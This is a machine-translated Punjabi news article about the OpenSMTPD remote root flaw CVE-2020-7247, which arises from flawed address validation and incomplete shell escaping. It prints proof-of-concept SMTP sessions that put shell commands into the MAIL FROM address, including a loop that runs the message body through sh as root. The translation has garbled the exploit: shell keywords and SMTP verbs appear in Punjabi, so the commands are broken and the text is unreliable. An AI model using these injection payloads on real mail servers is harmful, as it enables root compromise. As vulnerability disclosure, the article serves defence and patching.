OpenSMTPD เจตเจฟเฉฑเจš เจ•เจฎเจœเจผเฉ‹เจฐเฉ€ เจœเฉ‹ เจฐเฉ‚เจŸ เจฆเฉ‡ เจคเฉŒเจฐ 'เจคเฉ‡ เจฐเจฟเจฎเฉ‹เจŸ เจ•เฉ‹เจก เจเจ—เจœเจผเฉ€เจ•เจฟเจŠเจธเจผเจจ เจฆเฉ€ เจ†เจ—เจฟเจ† เจฆเจฟเฉฐเจฆเฉ€ เจนเฉˆ

OpenBSD เจชเฉเจฐเฉ‹เจœเฉˆเจ•เจŸ เจฆเฉเจ†เจฐเจพ เจตเจฟเจ•เจธเจค เจฎเฉ‡เจฒ เจธเจฐเจตเจฐ เจตเจฟเฉฑเจš OpenSMTPD เจชเจ›เจพเจฃ เจ•เฉ€เจคเฉ€ เจจเจพเจœเจผเฉเจ• เจ•เจฎเจœเจผเฉ‹เจฐเฉ€ (CVE-2020-7247) เจœเฉ‹ เจคเฉเจนเจพเจจเฉ‚เฉฐ เจฐเฉ‚เจŸ เจ‰เจชเจญเฉ‹เจ—เจคเจพ เจ…เจงเจฟเจ•เจพเจฐเจพเจ‚ เจตเจพเจฒเฉ‡ เจธเจฐเจตเจฐ 'เจคเฉ‡ เจฐเจฟเจฎเฉ‹เจŸเจฒเฉ€ เจธเจผเฉˆเฉฑเจฒ เจ•เจฎเจพเจ‚เจกเจพเจ‚ เจจเฉ‚เฉฐ เจšเจฒเจพเจ‰เจฃ เจฆเฉ€ เจ†เจ—เจฟเจ† เจฆเจฟเฉฐเจฆเจพ เจนเฉˆเฅค เจ•เฉเจ†เจฒเจฟเจธ เจธเจ•เจฟเจ“เจฐเจฟเจŸเฉ€ (เจ“เจชเจจเจเจธเจเจฎเจŸเฉ€เจชเฉ€เจกเฉ€ เจฆเจพ เจชเจฟเจ›เจฒเจพ เจ†เจกเจฟเจŸ) เจฆเฉเจ†เจฐเจพ เจ•เจฐเจตเจพเจ เจ—เจ เจฎเฉเฉœ-เจ†เจกเจฟเจŸ เจฆเฉŒเจฐเจพเจจ เจ•เจฎเจœเจผเฉ‹เจฐเฉ€ เจฆเฉ€ เจชเจ›เจพเจฃ เจ•เฉ€เจคเฉ€ เจ—เจˆ เจธเฉ€ เจ†เจฏเฉ‹เจœเจฟเจค เจ•เฉ€เจคเจพ เจ—เจฟเจ† เจธเฉ€ 2015 เจตเจฟเฉฑเจš, เจ…เจคเฉ‡ เจจเจตเฉ€เจ‚ เจ•เจฎเจœเจผเฉ‹เจฐเฉ€ เจฎเจˆ 2018 เจคเฉ‹เจ‚ เจฎเฉŒเจœเฉ‚เจฆ เจนเฉˆ)เฅค เจธเจฎเฉฑเจธเจฟเจ† เจ–เจคเจฎ เจ•เฉ€เจคเจพ OpenSMTPD 6.6.2 เจฆเฉ‡ เจฐเฉ€เจฒเฉ€เจœเจผ เจตเจฟเฉฑเจšเฅค เจธเจพเจฐเฉ‡ เจ‰เจชเจญเฉ‹เจ—เจคเจพเจตเจพเจ‚ เจจเฉ‚เฉฐ เจคเฉเจฐเฉฐเจค เจ…เจชเจกเฉ‡เจŸ เจจเฉ‚เฉฐ เจธเจฅเจพเจชเจค เจ•เจฐเจจ เจฆเฉ€ เจธเจฒเจพเจน เจฆเจฟเฉฑเจคเฉ€ เจœเจพเจ‚เจฆเฉ€ เจนเฉˆ (เจ“เจชเจจเจฌเฉ€เจเจธเจกเฉ€ เจฒเจˆ, เจชเฉˆเจš เจจเฉ‚เฉฐ เจธเจฟเจธเจชเฉˆเจš เจฆเฉเจ†เจฐเจพ เจธเจฅเจพเจชเจค เจ•เฉ€เจคเจพ เจœเจพ เจธเจ•เจฆเจพ เจนเฉˆ)เฅค

เจฆเฉ‹ เจคเจฐเฉเจนเจพเจ‚ เจฆเฉ‡ เจนเจฎเจฒเฉ‡ เจฆเฉ€ เจคเจœเจตเฉ€เจœเจผ เจฐเฉฑเจ–เฉ€ เจ—เจˆ เจนเฉˆเฅค เจชเจนเจฟเจฒเจพ เจตเจฟเจ•เจฒเจช เจกเจฟเจซเจพเจฒเจŸ OpenSMTPD เจธเฉฐเจฐเจšเจจเจพ เจตเจฟเฉฑเจš เจ•เฉฐเจฎ เจ•เจฐเจฆเจพ เจนเฉˆ (เจธเจฟเจฐเจซเจผ เจฒเฉ‹เจ•เจฒเจนเฉ‹เจธเจŸ เจคเฉ‹เจ‚ เจฌเฉ‡เจจเจคเฉ€เจ†เจ‚ เจชเฉเจฐเจพเจชเจค เจ•เจฐเจจเจพ) เจ…เจคเฉ‡ เจคเฉเจนเจพเจจเฉ‚เฉฐ เจธเจฅเจพเจจเจ• เจคเฉŒเจฐ 'เจคเฉ‡ เจธเจฎเฉฑเจธเจฟเจ† เจฆเจพ เจธเจผเฉ‹เจธเจผเจฃ เจ•เจฐเจจ เจฆเฉ€ เจ‡เจœเจพเจœเจผเจค เจฆเจฟเฉฐเจฆเจพ เจนเฉˆ, เจœเจฆเฉ‹เจ‚ เจนเจฎเจฒเจพเจตเจฐ เจธเจฐเจตเจฐ 'เจคเฉ‡ เจธเจฅเจพเจจเจ• เจจเฉˆเฉฑเจŸเจตเจฐเจ• เจ‡เฉฐเจŸเจฐเจซเฉ‡เจธ (เจฒเฉ‚เจชเจฌเฉˆเจ•) เจคเฉฑเจ• เจชเจนเฉเฉฐเจš เจ•เจฐเจจ เจฆเฉ‡ เจฏเฉ‹เจ— เจนเฉเฉฐเจฆเจพ เจนเฉˆ (เจ‰เจฆเจพเจนเจฐเจจ เจฒเจˆ, เจนเฉ‹เจธเจŸเจฟเฉฐเจ— เจธเจฟเจธเจŸเจฎเจพเจ‚ 'เจคเฉ‡) . เจฆเฉ‚เจœเจพ เจตเจฟเจ•เจฒเจช เจ‰เจฆเฉ‹เจ‚ เจฆเจฟเจธเจฆเจพ เจนเฉˆ เจœเจฆเฉ‹เจ‚ OpenSMTPD เจจเฉ‚เฉฐ เจฌเจพเจนเจฐเฉ€ เจจเฉˆเฉฑเจŸเจตเจฐเจ• เจฌเฉ‡เจจเจคเฉ€เจ†เจ‚ เจจเฉ‚เฉฐ เจธเจตเฉ€เจ•เจพเจฐ เจ•เจฐเจจ เจฒเจˆ เจธเฉฐเจฐเจšเจฟเจค เจ•เฉ€เจคเจพ เจœเจพเจ‚เจฆเจพ เจนเฉˆ (เจ‡เฉฑเจ• เจฎเฉ‡เจฒ เจธเจฐเจตเจฐ เจœเฉ‹ เจคเฉ€เจœเฉ€-เจงเจฟเจฐ เจฎเฉ‡เจฒ เจจเฉ‚เฉฐ เจธเจตเฉ€เจ•เจพเจฐ เจ•เจฐเจฆเจพ เจนเฉˆ)เฅค เจ–เฉ‹เจœเจ•เจฐเจคเจพเจตเจพเจ‚ เจจเฉ‡ เจ‡เฉฑเจ• เจชเฉเจฐเฉ‹เจŸเฉ‹เจŸเจพเจˆเจช เจธเจผเฉ‹เจธเจผเจฃ เจคเจฟเจ†เจฐ เจ•เฉ€เจคเจพ เจนเฉˆ เจœเฉ‹ OpenBSD 6.6 เจคเฉ‹เจ‚ OpenSMTPD เจตเฉ‡เจฐเฉ€เจเจ‚เจŸ เจ…เจคเฉ‡ เจฆเฉ‚เจœเฉ‡ เจ“เจชเจฐเฉ‡เจŸเจฟเฉฐเจ— เจธเจฟเจธเจŸเจฎเจพเจ‚ (เจกเฉ‡เจฌเฉ€เจ…เจจ เจŸเฉˆเจธเจŸเจฟเฉฐเจ— เจตเจฟเฉฑเจš เจธเฉฐเจšเจพเจฒเจฟเจค) เจฒเจˆ เจ‡เฉฑเจ• เจชเฉ‹เจฐเจŸเฉ‡เจฌเจฒ เจธเฉฐเจธเจ•เจฐเจฃ เจฆเฉ‡ เจจเจพเจฒ เจธเจซเจฒเจคเจพเจชเฉ‚เจฐเจตเจ• เจ•เฉฐเจฎ เจ•เจฐเจฆเจพ เจนเฉˆเฅค

เจธเจฎเฉฑเจธเจฟเจ† smtp_mailaddr() เจซเฉฐเจ•เจธเจผเจจ เจตเจฟเฉฑเจš เจ‡เฉฑเจ• เจคเจฐเฉเฉฑเจŸเฉ€ เจ•เจพเจฐเจจ เจนเฉ‹เจˆ เจนเฉˆ, เจœเจฟเจธเจจเฉ‚เฉฐ "เจฎเฉ‡เจฒ เจซเจฐเจฎ" เจ…เจคเฉ‡ "RCPT TO" เจ–เฉ‡เจคเจฐเจพเจ‚ เจตเจฟเฉฑเจš เจฎเฉเฉฑเจฒเจพเจ‚ เจฆเฉ€ เจธเจผเฉเฉฑเจงเจคเจพ เจฆเฉ€ เจœเจพเจ‚เจš เจ•เจฐเจจ เจฒเจˆ เจ•เจฟเจนเจพ เจœเจพเจ‚เจฆเจพ เจนเฉˆ เจœเฉ‹ เจญเฉ‡เจœเจฃ เจตเจพเจฒเฉ‡/เจชเฉเจฐเจพเจชเจคเจ•เจฐเจคเจพ เจจเฉ‚เฉฐ เจจเจฟเจฐเจงเจพเจฐเจค เจ•เจฐเจฆเฉ‡ เจนเจจ เจ…เจคเฉ‡ เจ•เจจเฉˆเจ•เจธเจผเจจ เจฆเฉŒเจฐเจพเจจ เจธเฉฐเจšเจพเจฐเจฟเจค เจนเฉเฉฐเจฆเฉ‡ เจนเจจเฅค เจฎเฉ‡เจฒ เจธเจฐเจตเจฐ เจจเฉ‚เฉฐ. smtp_mailaddr() เจซเฉฐเจ•เจธเจผเจจ เจจเฉ‚เฉฐ smtp_mailaddr() เจตเจฟเฉฑเจš เจฎเฉ‡เจฒ เจเจกเจฐเฉˆเฉฑเจธ เจฆเฉ‡ เจ‰เจธ เจนเจฟเฉฑเจธเฉ‡ เจฆเฉ€ เจœเจพเจ‚เจš เจ•เจฐเจจ เจฒเจˆ เจ•เจฟเจนเจพ เจœเจพเจ‚เจฆเจพ เจนเฉˆ เจœเฉ‹ "@" เจ…เฉฑเจ–เจฐ เจคเฉ‹เจ‚ เจชเจนเจฟเจฒเจพเจ‚ เจ†เจ‰เจ‚เจฆเจพ เจนเฉˆเฅค
valid_localpart(), เจœเฉ‹ เจ•เจฟ "!#$%&'*/?^`{|}~+-=_" เจ…เฉฑเจ–เจฐ เจฎเฉฐเจจเจฆเจพ เจนเฉˆ (MAILADDR_ALLOWED), เจœเจฟเจตเฉ‡เจ‚ เจ•เจฟ RFC 5322 เจฆเฉเจ†เจฐเจพ เจฒเฉ‹เฉœเฉ€เจ‚เจฆเจพ เจนเฉˆเฅค

เจ‡เจธ เจธเจฅเจฟเจคเฉ€ เจตเจฟเฉฑเจš, เจธเจคเจฐ เจธเจฟเฉฑเจงเฉ‡ mda_expand_token() เจซเฉฐเจ•เจธเจผเจจ เจตเจฟเฉฑเจš เจฌเจš เจœเจพเจ‚เจฆเฉ€ เจนเฉˆ, เจœเฉ‹ เจธเจฟเจฐเจซ เจ…เฉฑเจ–เจฐเจพเจ‚ เจจเฉ‚เฉฐ เจฌเจฆเจฒเจฆเฉ€ เจนเฉˆ "!#$%&'*?`{|}~" (MAILADDR_ESCAPE)เฅค เจ…เฉฑเจ—เฉ‡, mda_expand_token() เจตเจฟเฉฑเจš เจคเจฟเจ†เจฐ เจ•เฉ€เจคเฉ€ เจธเจคเจฐ เจฆเฉ€ เจตเจฐเจคเฉ‹เจ‚ เจกเจฟเจฒเฉ€เจตเจฐเฉ€ เจเจœเฉฐเจŸ (MDA) เจจเฉ‚เฉฐ 'execle("/bin/sh", "/bin/sh", "-c", mda_command,โ€ฆ' เจ•เจฎเจพเจ‚เจก เจฆเฉ€ เจตเจฐเจคเฉ‹เจ‚ เจ•เจฐเจฆเฉ‡ เจธเจฎเฉ‡เจ‚ เจ•เฉ€เจคเฉ€ เจœเจพเจ‚เจฆเฉ€ เจนเฉˆเฅค เจฎเฉ‡เจฒเฅค /bin/sh เจฐเจพเจนเฉ€เจ‚ mbox เจฒเจˆ, เจฒเจพเจˆเจจ "/usr/libexec/mail.local -f %%{mbox.from} %%{user.username}" เจšเจฒเจพเจˆ เจœเจพเจ‚เจฆเฉ€ เจนเฉˆ, เจœเจฟเฉฑเจฅเฉ‡ เจฎเฉเฉฑเจฒ "%{mbox.from}" เจนเฉเฉฐเจฆเจพ เจนเฉˆเฅค "เจฎเฉ‡เจฒ เจซเจฐเฉ‹เจฎ" เจชเฉˆเจฐเจพเจฎเฉ€เจŸเจฐ เจคเฉ‹เจ‚ เจฌเจšเจฟเจ† เจกเฉ‡เจŸเจพ เจธเจผเจพเจฎเจฒ เจ•เจฐเจฆเจพ เจนเฉˆเฅค

เจ•เจฎเจœเจผเฉ‹เจฐเฉ€ เจฆเจพ เจธเจพเจฐ เจ‡เจน เจนเฉˆ เจ•เจฟ smtp_mailaddr() เจตเจฟเฉฑเจš เจ‡เฉฑเจ• เจฒเจพเจœเจผเฉ€เจ•เจฒ เจ—เจฒเจคเฉ€ เจนเฉˆ, เจœเจฟเจธ เจ•เจพเจฐเจจ, เจœเฉ‡เจ•เจฐ เจ‡เฉฑเจ• เจ–เจพเจฒเฉ€ เจกเฉ‹เจฎเฉ‡เจจ เจˆเจฎเฉ‡เจฒ เจตเจฟเฉฑเจš เจชเจพเจธ เจ•เฉ€เจคเจพ เจœเจพเจ‚เจฆเจพ เจนเฉˆ, เจคเจพเจ‚ เจซเฉฐเจ•เจธเจผเจจ เจ‡เฉฑเจ• เจธเจซเจฒ เจชเฉเจธเจผเจŸเฉ€เจ•เจฐเจจ เจ•เฉ‹เจก เจตเจพเจชเจธ เจ•เจฐเจฆเจพ เจนเฉˆ, เจญเจพเจตเฉ‡เจ‚ เจ•เจฟ โ€œ@โ€ เจคเฉ‹เจ‚ เจชเจนเจฟเจฒเจพเจ‚ เจฆเฉ‡ เจชเจคเฉ‡ เจฆเฉ‡ เจนเจฟเฉฑเจธเฉ‡ เจตเจฟเฉฑเจš เจ…เจตเฉˆเจง เจ…เฉฑเจ–เจฐ เจธเจผเจพเจฎเจฒ เจนเจจเฅค เจ…เฉฑเจ—เฉ‡, เจœเจฆเฉ‹เจ‚ mda_expand_token() เจซเฉฐเจ•เจธเจผเจจ เจจเจพเจฒ เจ‡เฉฑเจ• เจธเจคเจฐ เจคเจฟเจ†เจฐ เจ•เจฐเจฆเฉ‡ เจนเฉ‹, เจคเจพเจ‚ เจธเจพเจฐเฉ‡ เจธเฉฐเจญเจต เจธเจผเฉˆเฉฑเจฒ เจตเจฟเจธเจผเฉ‡เจธเจผ เจ…เฉฑเจ–เจฐ เจฌเจšเฉ‡ เจจเจนเฉ€เจ‚ เจนเฉเฉฐเจฆเฉ‡, เจชเจฐ เจฎเฉ‡เจฒ เจเจกเจฐเฉˆเฉฑเจธ เจตเจฟเฉฑเจš เจธเจฟเจฐเจซเจผ เจตเจฟเจธเจผเฉ‡เจธเจผ เจ…เฉฑเจ–เจฐ เจนเฉ€ เจฎเจจเจœเจผเฉ‚เจฐ เจนเฉเฉฐเจฆเฉ‡ เจนเจจเฅค เจ‡เจธ เจคเจฐเฉเจนเจพเจ‚, เจคเฉเจนเจพเจกเฉ€ เจ•เจฎเจพเจ‚เจก เจจเฉ‚เฉฐ เจšเจฒเจพเจ‰เจฃ เจฒเจˆ, เจˆเจฎเฉ‡เจฒ เจฆเฉ‡ เจธเจฅเจพเจจเจ• เจนเจฟเฉฑเจธเฉ‡ เจตเจฟเฉฑเจš ";" เจšเจฟเฉฐเจจเฉเจน เจฆเฉ€ เจตเจฐเจคเฉ‹เจ‚ เจ•เจฐเจจเจพ เจ•เจพเจซเจผเฉ€ เจนเฉˆเฅค เจ…เจคเฉ‡ เจธเจชเฉ‡เจธ, เจœเฉ‹ เจ•เจฟ MAILADDR_ESCAPE เจธเฉˆเฉฑเจŸ เจตเจฟเฉฑเจš เจจเจนเฉ€เจ‚ เจนเจจ เจ…เจคเฉ‡ เจฌเจšเฉ‡ เจจเจนเฉ€เจ‚ เจนเจจเฅค เจ‰เจฆเจพเจนเจฐเจฃ เจฒเจˆ:

$nc 127.0.0.1 25

HELO professor.falken
เจ‡เจธ เจคเฉ‹เจ‚ เจฎเฉ‡เจฒ:<;เจธเจฒเฉ€เจช 66;>
RCPT เจจเฉ‚เฉฐ:
เจกเจพเจŸเจพ
.
QUIT

เจ‡เจธ เจธเฉˆเจธเจผเจจ เจคเฉ‹เจ‚ เจฌเจพเจ…เจฆ, OpenSMTPD, เจœเจฆเฉ‹เจ‚ mbox เจจเฉ‚เฉฐ เจกเจฟเจฒเฉ€เจตเจฐ เจ•เฉ€เจคเจพ เจœเจพเจ‚เจฆเจพ เจนเฉˆ, เจธเจผเฉˆเฉฑเจฒ เจฐเจพเจนเฉ€เจ‚ เจ•เจฎเจพเจ‚เจก เจšเจฒเจพเจเจ—เจพ

/usr/libexec/mail.local -f ;เจธเจฒเฉ€เจช 66; เจฐเฉ‚เจŸ

เจ‰เจธเฉ‡ เจธเจฎเฉ‡เจ‚, เจนเจฎเจฒเฉ‡ เจฆเฉ€เจ†เจ‚ เจธเฉฐเจญเจพเจตเจจเจพเจตเจพเจ‚ เจ‡เจธ เจคเฉฑเจฅ เจฆเฉเจ†เจฐเจพ เจธเฉ€เจฎเจค เจนเจจ เจ•เจฟ เจชเจคเฉ‡ เจฆเจพ เจธเจฅเจพเจจเจ• เจนเจฟเฉฑเจธเจพ 64 เจ…เฉฑเจ–เจฐเจพเจ‚ เจคเฉ‹เจ‚ เจตเฉฑเจง เจจเจนเฉ€เจ‚ เจนเฉ‹ เจธเจ•เจฆเจพ, เจ…เจคเฉ‡ เจตเจฟเจธเจผเฉ‡เจธเจผ เจ…เฉฑเจ–เจฐ '$' เจ…เจคเฉ‡ '|' เจฌเจšเจฃ เจตเฉ‡เจฒเฉ‡ ":" เจจเจพเจฒ เจฌเจฆเจฒเจฟเจ† เจœเจพเจ‚เจฆเจพ เจนเฉˆเฅค เจ‡เจธ เจธเฉ€เจฎเจพ เจจเฉ‚เฉฐ เจฐเฉ‹เจ•เจฃ เจฒเจˆ, เจ‡เจน เจคเฉฑเจฅ เจ•เจฟ เจธเฉเจจเฉ‡เจนเฉ‡ เจฆเจพ เจฎเฉเฉฑเจ– เจนเจฟเฉฑเจธเจพ /usr/libexec/mail.local เจจเฉ‚เฉฐ เจ‡เจจเจชเฉเจŸ เจธเจŸเฉเจฐเฉ€เจฎ เจฐเจพเจนเฉ€เจ‚ เจšเจฒเจพเจ‰เจฃ เจคเฉ‹เจ‚ เจฌเจพเจ…เจฆ เจชเฉเจฐเจธเจพเจฐเจฟเจค เจ•เฉ€เจคเจพ เจœเจพเจ‚เจฆเจพ เจนเฉˆ, เจœเจฟเจตเฉ‡เจ‚ เจ•เจฟ. เจเจกเจฐเฉˆเฉฑเจธ เจจเจพเจฒ เจนเฉ‡เจฐเจพเจซเฉ‡เจฐเฉ€ เจฆเฉเจ†เจฐเจพ, เจคเฉเจธเฉ€เจ‚ เจธเจฟเจฐเจซ sh เจ•เจฎเจพเจ‚เจก เจ‡เฉฐเจŸเจฐเจชเฉเจฐเฉ‡เจŸเจฐ เจจเฉ‚เฉฐ เจฒเจพเจ‚เจš เจ•เจฐ เจธเจ•เจฆเฉ‡ เจนเฉ‹ เจ…เจคเฉ‡ เจ…เฉฑเจ–เจฐ เจฆเฉ‡ เจฎเฉเฉฑเจ– เจญเจพเจ— เจจเฉ‚เฉฐ เจจเจฟเจฐเจฆเฉ‡เจธเจผเจพเจ‚ เจฆเฉ‡ เจธเฉˆเฉฑเจŸ เจตเจœเฉ‹เจ‚ เจตเจฐเจค เจธเจ•เจฆเฉ‡ เจนเฉ‹เฅค เจ•เจฟเจ‰เจ‚เจ•เจฟ เจธเฉ‡เจตเจพ SMTP เจธเจฟเจฐเจฒเฉ‡เจ– เจ…เฉฑเจ–เจฐ เจฆเฉ‡ เจธเจผเฉเจฐเฉ‚ เจตเจฟเฉฑเจš เจฆเจฐเจธเจพเจ เจ—เจ เจนเจจ, เจ‰เจนเจจเจพเจ‚ เจจเฉ‚เฉฐ เจ›เฉฑเจกเจฃ เจฒเจˆ เจฒเฉ‚เจช เจตเจฟเฉฑเจš เจฐเฉ€เจก เจ•เจฎเจพเจ‚เจก เจ•เจพเจฒ เจฆเฉ€ เจตเจฐเจคเฉ‹เจ‚ เจ•เจฐเจจ เจฆเจพ เจธเฉเจเจพเจ… เจฆเจฟเฉฑเจคเจพ เจœเจพเจ‚เจฆเจพ เจนเฉˆเฅค เจ•เจพเจฐเจœเจธเจผเฉ€เจฒ เจธเจผเฉ‹เจธเจผเจฃ เจ•เฉเจ เจ‡เจธ เจคเจฐเฉเจนเจพเจ‚ เจฆเจฟเจ–เจพเจˆ เจฆเจฟเฉฐเจฆเจพ เจนเฉˆ:

$nc 192.168.56.143 25

HELO professor.falken
เจ‡เจธ เจคเฉ‹เจ‚ เจฎเฉ‡เจฒ:<;เจฒเจˆ เจฎเฉˆเจ‚ 0 1 2 3 4 5 6 7 8 9 abcd; เจชเฉœเฉเจนเฉ‹ r;done;sh;exit 0;>
RCPT เจจเฉ‚เฉฐ:[เจˆเจฎเฉ‡เจฒ เจธเฉเจฐเฉฑเจ–เจฟเจ…เจค]>
เจกเจพเจŸเจพ
#0
#1
...
#d
WOPR เจตเจฟเฉฑเจš i เจฒเจˆ; เจ•เจฐเจฆเฉ‡ เจนเจจ
echo -n "($i) " && id || เจคเฉ‹เฉœ
เจนเฉ‹ เจ—เจฟเจ† > /root/x."`id -u`"."$$"
.
QUIT

เจธเจฐเฉ‹เจค: opennet.ru

เจ‡เฉฑเจ• เจŸเจฟเฉฑเจชเจฃเฉ€ เจœเฉ‹เฉœเฉ‹